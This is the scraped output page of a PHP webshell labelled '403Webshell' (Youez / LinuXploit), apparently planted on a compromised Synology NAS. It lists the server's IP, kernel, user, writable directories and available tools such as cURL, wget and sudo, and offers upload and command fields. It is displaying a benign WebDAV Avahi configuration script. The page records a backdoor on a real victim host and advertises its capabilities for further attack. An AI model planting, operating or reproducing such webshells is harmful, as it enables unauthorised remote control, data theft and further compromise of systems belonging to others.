403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/@appstore/WebDAVServer/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/@appstore/WebDAVServer/scripts/synowebdavserver_create_avahi_cfg.sh
#!/bin/sh
PATH_AVAHI_CFG="/etc/avahi/services"
PATH_PKG_CFG="/var/packages/WebDAVServer/target/etc/"
PATH_WEBDAV_CFG="$PATH_PKG_CFG/webdav.cfg"
PATH_AVAHI_WEBDAV_HTTP_CFG="/etc/avahi/services/webdav_http.service"
PATH_AVAHI_WEBDAV_HTTPS_CFG="/etc/avahi/services/webdav_https.service"

ENABLE_HTTP=`/bin/get_key_value $PATH_WEBDAV_CFG enable_http`
ENABLE_HTTPS=`/bin/get_key_value $PATH_WEBDAV_CFG enable_https`

HOSTNAME=`cat /etc/hostname`

AddWebdav(){
	Port=`/bin/get_key_value $PATH_WEBDAV_CFG http_port`

	echo -en \
"<service-group>
<name>$HOSTNAME</name>
<service>
<type>_webdav._tcp</type>
<port>$Port</port>
</service>
</service-group>
" > $PATH_AVAHI_WEBDAV_HTTP_CFG
}

AddWebdavs(){
	Port=`/bin/get_key_value $PATH_WEBDAV_CFG https_port`

	echo -en \
"<service-group>
<name>$HOSTNAME</name>
<service>
<type>_webdavs._tcp</type>
<port>$Port</port>
</service>
</service-group>
" > $PATH_AVAHI_WEBDAV_HTTPS_CFG
}

if [ -f $PATH_AVAHI_WEBDAV_HTTP_CFG ]; then 
	rm -f $PATH_AVAHI_WEBDAV_HTTP_CFG
fi
if [ -f $PATH_AVAHI_WEBDAV_HTTPS_CFG ]; then 
	rm -f $PATH_AVAHI_WEBDAV_HTTPS_CFG
fi

case $1 in
	start)
		if [ $ENABLE_HTTP == "yes" ]; then
			AddWebdav
		fi
		
		if [ $ENABLE_HTTPS == "yes" ]; then
			AddWebdavs
		fi
		;;
	stop)
		;;
	*)
		echo "Usage: $0 webdav" >&2
		exit 1
		;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit